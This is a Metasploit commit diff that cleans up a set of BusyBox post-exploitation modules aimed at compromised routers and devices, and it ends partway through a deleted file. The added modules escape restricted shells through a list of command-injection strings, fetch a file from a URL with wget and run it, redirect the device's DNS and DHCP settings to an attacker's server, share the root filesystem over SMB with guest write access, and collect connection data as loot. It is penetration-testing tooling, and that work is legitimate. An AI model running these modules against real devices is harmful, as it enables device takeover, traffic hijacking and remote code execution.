Merge pull request #1 from jvazquez-r7/review_5722
Code review and cleanup for Busybox PRbug/bundler_fix
commit
4cdbabdde7
|
@ -2,5 +2,5 @@
|
||||||
module Msf::Post::Linux
|
module Msf::Post::Linux
|
||||||
require 'msf/core/post/linux/priv'
|
require 'msf/core/post/linux/priv'
|
||||||
require 'msf/core/post/linux/system'
|
require 'msf/core/post/linux/system'
|
||||||
require 'msf/core/post/linux/busybox'
|
require 'msf/core/post/linux/busy_box'
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,110 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
class Post
|
||||||
|
module Linux
|
||||||
|
module BusyBox
|
||||||
|
|
||||||
|
include ::Msf::Post::Common
|
||||||
|
include ::Msf::Post::File
|
||||||
|
|
||||||
|
# Checks if the file exists in the target
|
||||||
|
#
|
||||||
|
# @param file_path [String] the target file path
|
||||||
|
# @return [Boolean] true if files exists, false otherwise
|
||||||
|
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
|
||||||
|
def busy_box_file_exist?(file_path)
|
||||||
|
contents = read_file(file_path)
|
||||||
|
if contents.nil? || contents.empty?
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks if the directory is writable in the target
|
||||||
|
#
|
||||||
|
# @param dir_path [String] the target directory path
|
||||||
|
# @return [Boolean] true if target directory is writable, false otherwise
|
||||||
|
def busy_box_is_writable_dir?(dir_path)
|
||||||
|
res = false
|
||||||
|
rand_str = Rex::Text.rand_text_alpha(16)
|
||||||
|
file_path = "#{dir_path}/#{rand_str}"
|
||||||
|
|
||||||
|
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
rcv = read_file(file_path)
|
||||||
|
|
||||||
|
if rcv.include?("#{rand_str}XXX#{rand_str}")
|
||||||
|
res = true
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd_exec("rm -f #{file_path}")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
# Checks some directories that usually are writable in devices running busybox
|
||||||
|
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
|
||||||
|
def busy_box_writable_dir
|
||||||
|
dirs = %w(/etc/ /mnt/ /var/ /var/tmp/)
|
||||||
|
|
||||||
|
dirs.each do |d|
|
||||||
|
return d if busy_box_is_writable_dir?(d)
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Writes data to a file
|
||||||
|
#
|
||||||
|
# @param file_path [String] the file path to write on the target
|
||||||
|
# @param data [String] the content to be written
|
||||||
|
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
|
||||||
|
# the target file
|
||||||
|
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
|
||||||
|
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
|
||||||
|
# of it is necessary to implement an specific method.
|
||||||
|
def busy_box_write_file(file_path, data, prepend = false)
|
||||||
|
if prepend
|
||||||
|
dir = busy_box_writable_dir
|
||||||
|
return false unless dir
|
||||||
|
cmd_exec("cp -f #{file_path} #{dir}tmp")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
end
|
||||||
|
|
||||||
|
rand_str = Rex::Text.rand_text_alpha(16)
|
||||||
|
cmd_exec("echo #{rand_str} > #{file_path}")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
|
||||||
|
unless read_file(file_path).include?(rand_str)
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
cmd_exec("echo \"\"> #{file_path}")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
|
||||||
|
lines = data.lines.map(&:chomp)
|
||||||
|
lines.each do |line|
|
||||||
|
cmd_exec("echo #{line.chomp} >> #{file_path}")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
end
|
||||||
|
|
||||||
|
if prepend
|
||||||
|
cmd_exec("cat #{dir}tmp >> #{file_path}")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
|
||||||
|
cmd_exec("rm -f #{dir}tmp")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
end
|
||||||
|
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end # Busybox
|
||||||
|
end # Linux
|
||||||
|
end # Post
|
||||||
|
end # Msf
|
|
@ -1,92 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
module Msf
|
|
||||||
class Post
|
|
||||||
module Linux
|
|
||||||
module Busybox
|
|
||||||
|
|
||||||
include ::Msf::Post::File
|
|
||||||
|
|
||||||
#
|
|
||||||
#Checks if the target file exists
|
|
||||||
#@param file_path [String] the target file path
|
|
||||||
#@note file? doesnt work because test -f is not implemented in busybox
|
|
||||||
#@return [Boolean] True if files exists, otherwise false
|
|
||||||
#
|
|
||||||
def file_exists(file_path)
|
|
||||||
s = read_file(file_path)
|
|
||||||
if s and s.length
|
|
||||||
return true
|
|
||||||
end
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
#Checks if the target directory is writable
|
|
||||||
#@param directory_path [String] the target directory path
|
|
||||||
#@return [Boolean] True if target directory is writable, otherwise false
|
|
||||||
#
|
|
||||||
def is_writable_directory(directory_path)
|
|
||||||
retval = false
|
|
||||||
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
|
|
||||||
file_path = directory_path + "/" + rand_str
|
|
||||||
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}"); Rex::sleep(0.3)
|
|
||||||
rcv = read_file(file_path)
|
|
||||||
if rcv.include? (rand_str+"XXX"+rand_str)
|
|
||||||
retval = true
|
|
||||||
end
|
|
||||||
cmd_exec("rm -f #{file_path}"); Rex::sleep(0.3)
|
|
||||||
return retval
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
#Checks if the target file is writable and writes or append to the file the data given as parameter
|
|
||||||
#@param file_path [String] the target file path
|
|
||||||
#@param data [String] the content to be written to the file
|
|
||||||
#@param append [Boolean] if true, append data to the target file. Otherwise, overwrite the target file
|
|
||||||
#@note BusyBox shell's commands are limited and Msf > Post > File > write_file function doesnt work here, for this reason it is necessary to implement an specific function
|
|
||||||
#@return [Boolean] True if target file is writable and it was written. Otherwise, false.
|
|
||||||
#
|
|
||||||
def is_writable_and_write(file_path, data, append)
|
|
||||||
if append
|
|
||||||
writable_directory = get_writable_directory()
|
|
||||||
return false if not writable_directory
|
|
||||||
cmd_exec("cp -f #{file_path} #{writable_directory}tmp"); Rex::sleep(0.3)
|
|
||||||
end
|
|
||||||
rand_str = ""; 16.times{rand_str << (65 + rand(25)).chr}
|
|
||||||
cmd_exec("echo #{rand_str} > #{file_path}"); Rex::sleep(0.3)
|
|
||||||
if read_file(file_path).include? rand_str
|
|
||||||
cmd_exec("echo \"\"> #{file_path}"); Rex::sleep(0.3)
|
|
||||||
lines = data.lines.map(&:chomp)
|
|
||||||
lines.each do |line|
|
|
||||||
cmd_exec("echo #{line.chomp} >> #{file_path}"); Rex::sleep(0.3)
|
|
||||||
end
|
|
||||||
if append
|
|
||||||
cmd_exec("cat #{writable_directory}tmp >> #{file_path}"); Rex::sleep(0.3)
|
|
||||||
cmd_exec("rm -f #{writable_directory}tmp"); Rex::sleep(0.3)
|
|
||||||
end
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
#Checks some directories that usually are writable in devices running busybox
|
|
||||||
#@return [String] If the function finds a writable directory, it returns the path. Else it returns nil
|
|
||||||
#
|
|
||||||
def get_writable_directory()
|
|
||||||
writable_directory = nil
|
|
||||||
writable_directory = "/etc/" if is_writable_directory("/etc")
|
|
||||||
writable_directory = "/mnt/" if (!writable_directory && is_writable_directory("/mnt"))
|
|
||||||
writable_directory = "/var/" if (!writable_directory && is_writable_directory("/var"))
|
|
||||||
writable_directory = "/var/tmp/" if (!writable_directory && is_writable_directory("/var/tmp"))
|
|
||||||
return writable_directory
|
|
||||||
end
|
|
||||||
|
|
||||||
end # Busybox
|
|
||||||
end # Linux
|
|
||||||
end # Post
|
|
||||||
end # Msf
|
|
|
@ -0,0 +1,61 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::BusyBox
|
||||||
|
|
||||||
|
FILES = [
|
||||||
|
'/proc/net/nf_conntrack',
|
||||||
|
'/proc/net/ip_conntrack',
|
||||||
|
'/proc/net/tcp',
|
||||||
|
'/proc/net/udp',
|
||||||
|
'/proc/net/arp',
|
||||||
|
'/proc/fcache/*'
|
||||||
|
]
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox Enumerate Connections',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It will
|
||||||
|
enumerate the connections established with the router or device executing BusyBox.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
found = false
|
||||||
|
print_status('Searching for files that store information about network connections')
|
||||||
|
FILES.each do |f|
|
||||||
|
if busy_box_file_exist?(f)
|
||||||
|
found = true
|
||||||
|
print_good("Connections File found: #{f}.")
|
||||||
|
read_connection_file(f)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
print_error('Any file with connections found') unless found
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_connection_file(file)
|
||||||
|
begin
|
||||||
|
str_file=read_file(file)
|
||||||
|
vprint_line(str_file)
|
||||||
|
p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections')
|
||||||
|
print_good("Connections saved to #{p}")
|
||||||
|
rescue EOFError
|
||||||
|
print_error("Nothing read from file #{file}, file may be empty")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,53 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::BusyBox
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox Enumerate Host Names',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It will enumerate
|
||||||
|
host names related to the device executing BusyBox.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status('Searching hosts files...')
|
||||||
|
if busy_box_file_exist?('/var/hosts')
|
||||||
|
hosts_file = '/var/hosts'
|
||||||
|
elsif busy_box_file_exist?('/var/udhcpd/udhcpd.leases')
|
||||||
|
hosts_file = '/var/udhcpd/udhcpd.leases'
|
||||||
|
else
|
||||||
|
print_error('Files not found')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
read_hosts_file(hosts_file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_hosts_file(file)
|
||||||
|
begin
|
||||||
|
str_file=read_file(file)
|
||||||
|
print_good("Hosts File found: #{file}.")
|
||||||
|
vprint_line(str_file)
|
||||||
|
p = store_loot('busybox.enum.hosts', 'text/plain', session, str_file, file, 'BusyBox Device host names')
|
||||||
|
print_good("Hosts saved to #{p}.")
|
||||||
|
rescue EOFError
|
||||||
|
print_error("Nothing read from file: #{file}, file may be empty.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,68 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
METHODS = [
|
||||||
|
'cat xx || sh',
|
||||||
|
'ping || sh',
|
||||||
|
'echo `sh >> /dev/ttyp0`',
|
||||||
|
'ping `sh >> /dev/ttyp0`',
|
||||||
|
'cat `sh >> /dev/ttyp0`',
|
||||||
|
'cat xx;sh',
|
||||||
|
'echo xx;sh',
|
||||||
|
'ping;sh',
|
||||||
|
'cat xx | sh',
|
||||||
|
'ping | sh',
|
||||||
|
'cat ($sh)',
|
||||||
|
'cat xx && sh',
|
||||||
|
'echo xx && sh',
|
||||||
|
'ping && sh'
|
||||||
|
]
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox Jailbreak ',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will send a set of commands to a open session that is connected to a
|
||||||
|
BusyBox limited shell (i.e. a router limited shell). It will try different known
|
||||||
|
tricks to jailbreak the limited shell and get a full BusyBox shell.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
res = false
|
||||||
|
|
||||||
|
METHODS.each do |m|
|
||||||
|
res = try_method(m)
|
||||||
|
break if res
|
||||||
|
end
|
||||||
|
|
||||||
|
print_error('Unable to jailbreak device shell') unless res
|
||||||
|
end
|
||||||
|
|
||||||
|
def try_method(command)
|
||||||
|
vprint_status("jailbreak sent: #{command}")
|
||||||
|
session.shell_write("#{command}\n")
|
||||||
|
(1..10).each do
|
||||||
|
resp = session.shell_read
|
||||||
|
vprint_status("jailbreak received: #{resp}") unless resp.nil? || resp.empty?
|
||||||
|
if resp.downcase.include?('busybox') && resp.downcase.include?('built-in shell')
|
||||||
|
print_good("Jailbreak accomplished with #{command}")
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,42 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox Ping Network Enumeration',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It will ping a range
|
||||||
|
of IP addresses from the router or device executing BusyBox.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddressRange.new('RANGE', [true, 'IP range to ping'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
results = ''
|
||||||
|
Rex::Socket::RangeWalker.new(datastore['RANGE']).each do |ip|
|
||||||
|
vprint_status("Checking address #{ip}")
|
||||||
|
results << cmd_exec("ping -c 1 #{ip}")
|
||||||
|
end
|
||||||
|
|
||||||
|
p = store_loot('busybox.enum.network', 'text/plain', session, results, 'ping_results.txt', 'BusyBox Device Network Range Enumeration')
|
||||||
|
print_good("Results saved to #{p}.")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,41 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox DMZ Configuration',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It allows to manage
|
||||||
|
traffic forwarding to a target host through the BusyBox device.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptAddress.new('TARGET_HOST', [ true, 'The address of the target host']),
|
||||||
|
OptBool.new('DELETE', [true, 'Remove host from the DMZ, otherwise will add it', false])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if datastore['DELETE']
|
||||||
|
print_status("Deleting #{datastore['TARGET_HOST']} from DMZ")
|
||||||
|
vprint_status(cmd_exec("iptables -D FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
|
||||||
|
else
|
||||||
|
print_status("Adding #{datastore['TARGET_HOST']} to DMZ")
|
||||||
|
vprint_status(cmd_exec("iptables -A FORWARD -d #{datastore['TARGET_HOST']} -j ACCEPT"))
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status(cmd_exec('iptables --list'))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,81 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::BusyBox
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox DNS Configuration',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It allows
|
||||||
|
to set the DNS server on the device executing BusyBox so it will be sent by the
|
||||||
|
DHCP server to network hosts.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptAddress.new('DNS', [ true, 'The dns server address' ])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status("Searching for files to modify dns server.")
|
||||||
|
if busy_box_file_exist?('/etc/resolv.conf')
|
||||||
|
modify_resolv_conf
|
||||||
|
end
|
||||||
|
|
||||||
|
if busy_box_file_exist?('/etc/udhcpd.conf')
|
||||||
|
modify_udhcpd_conf
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def modify_resolv_conf
|
||||||
|
print_status('File /etc/resolv.conf found')
|
||||||
|
if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)
|
||||||
|
print_good('DNS server added to resolv.conf')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def modify_udhcpd_conf
|
||||||
|
print_status('File /etc/udhcpd.conf found')
|
||||||
|
|
||||||
|
if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)
|
||||||
|
restart_dhcpd('/etc/udhcpd.conf')
|
||||||
|
else
|
||||||
|
print_status('Unable to write udhcpd.conf, searching a writable directory...')
|
||||||
|
writable_directory = busy_box_writable_dir
|
||||||
|
if writable_directory
|
||||||
|
print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")
|
||||||
|
cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")
|
||||||
|
Rex::sleep(0.3)
|
||||||
|
print_status("Adding DNS to #{writable_directory}tmp.conf")
|
||||||
|
busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)
|
||||||
|
restart_dhcpd("#{writable_directory}tmp.conf")
|
||||||
|
else
|
||||||
|
print_error('Writable directory not found')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def restart_dhcpd(conf)
|
||||||
|
print_status('Restarting udhcp server')
|
||||||
|
cmd_exec('killall dhcpd')
|
||||||
|
# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command
|
||||||
|
# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd
|
||||||
|
# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"
|
||||||
|
session.shell_write("dhcpd #{conf} &\n")
|
||||||
|
print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,59 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::BusyBox
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox SMB Sharing',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It will modify
|
||||||
|
the SMB configuration of the device executing BusyBox to share the root directory of
|
||||||
|
the device.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status('Checking smb.conf...')
|
||||||
|
if busy_box_file_exist?('/var/samba/smb.conf')
|
||||||
|
print_status('smb.conf found, searching writable directory...')
|
||||||
|
writable_directory = busy_box_writable_dir
|
||||||
|
if writable_directory
|
||||||
|
print_status('writable directory found, copying smb.conf and restarting smbd')
|
||||||
|
copy_smb_conf(writable_directory)
|
||||||
|
else
|
||||||
|
print_error('Writable directory not found')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error('smb.conf not found')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def copy_smb_conf(dir)
|
||||||
|
cmd_exec_delay("rm -f #{dir}smb.conf")
|
||||||
|
cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
|
||||||
|
cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
|
||||||
|
cmd_exec_delay('killall smbd')
|
||||||
|
cmd_exec_delay("smbd -D -s #{dir}smb.conf")
|
||||||
|
cmd_exec_delay("smbd -D -s=#{dir}smb.conf")
|
||||||
|
end
|
||||||
|
|
||||||
|
def cmd_exec_delay(command)
|
||||||
|
res = cmd_exec(command)
|
||||||
|
vprint_status(res)
|
||||||
|
Rex.sleep(0.1)
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,54 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Linux::BusyBox
|
||||||
|
|
||||||
|
def initialize
|
||||||
|
super(
|
||||||
|
'Name' => 'BusyBox Download and Execute',
|
||||||
|
'Description' => %q{
|
||||||
|
This module will be applied on a session connected to a BusyBox shell. It will use wget to
|
||||||
|
download and execute a file from the device running BusyBox.
|
||||||
|
},
|
||||||
|
'Author' => 'Javier Vicente Vallejo',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => ['linux'],
|
||||||
|
'SessionTypes' => ['shell']
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('URL', [true, 'Full URL of file to download'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
print_status('Searching a writable direcotry...')
|
||||||
|
writable_directory = busy_box_writable_dir
|
||||||
|
if writable_directory
|
||||||
|
print_status('Writable directory found, downloading file...')
|
||||||
|
random_file_path = "#{writable_directory}#{Rex::Text.rand_text_alpha(16)}"
|
||||||
|
cmd_exec("wget -O #{random_file_path} #{datastore['URL']}")
|
||||||
|
Rex::sleep(0.1)
|
||||||
|
|
||||||
|
if busy_box_file_exist?(random_file_path)
|
||||||
|
print_good('File downloaded, executing...')
|
||||||
|
cmd_exec("chmod 777 #{random_file_path}")
|
||||||
|
Rex::sleep(0.1)
|
||||||
|
res = cmd_exec("sh #{random_file_path}")
|
||||||
|
vprint_status(res)
|
||||||
|
else
|
||||||
|
print_error('Unable to download file')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error('Writable directory not found')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,58 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Linux::Busybox
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Enumerate Connections',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will enumerate
|
|
||||||
the connections established by the hosts connected
|
|
||||||
to the router or device executing BusyBox.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
found = false
|
|
||||||
conns_files =[
|
|
||||||
"/proc/net/nf_conntrack", "/proc/net/ip_conntrack", "/proc/net/tcp", "/proc/net/udp", "/proc/net/arp", "/proc/fcache/*"
|
|
||||||
]
|
|
||||||
vprint_status("Searching for files that store information about network connections.")
|
|
||||||
conns_files.each do |conns_file|
|
|
||||||
if file_exists(conns_file)
|
|
||||||
found = true
|
|
||||||
print_good("Connections File found: #{conns_file}.")
|
|
||||||
begin
|
|
||||||
str_file=read_file(conns_file)
|
|
||||||
vprint_line(str_file)
|
|
||||||
#Store file
|
|
||||||
p = store_loot("Connections", "text/plain", session, str_file, conns_file, "BusyBox Device Network Established Connections")
|
|
||||||
print_good("Connections saved to #{p}.")
|
|
||||||
rescue EOFError
|
|
||||||
# If there's nothing in the file, we hit EOFError
|
|
||||||
print_error("Nothing read from file #{conns_file}, file may be empty.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if found == false
|
|
||||||
print_error("Nothing read from connection files, files may be empty.")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,55 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require 'msf/core'
|
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Post::Linux::Busybox
|
|
||||||
|
|
||||||
def initialize
|
|
||||||
super(
|
|
||||||
'Name' => 'BusyBox Enumerate Hosts',
|
|
||||||
'Description' => 'This module will be applied on a session connected
|
|
||||||
to a BusyBox sh shell. The script will enumerate
|
|
||||||
the hosts connected to the router or device executing
|
|
||||||
BusyBox.',
|
|
||||||
'Author' => 'Javier Vicente Vallejo',
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'URL', 'http://vallejo.cc']
|
|
||||||
],
|
|
||||||
'Platform' => ['linux'],
|
|
||||||
'SessionTypes' => ['shell']
|
|
||||||
)
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
|
||||||
hosts_file = nil
|
|
||||||
if file_exists("/var/hosts")
|
|
||||||
hosts_file = "/var/hosts"
|
|
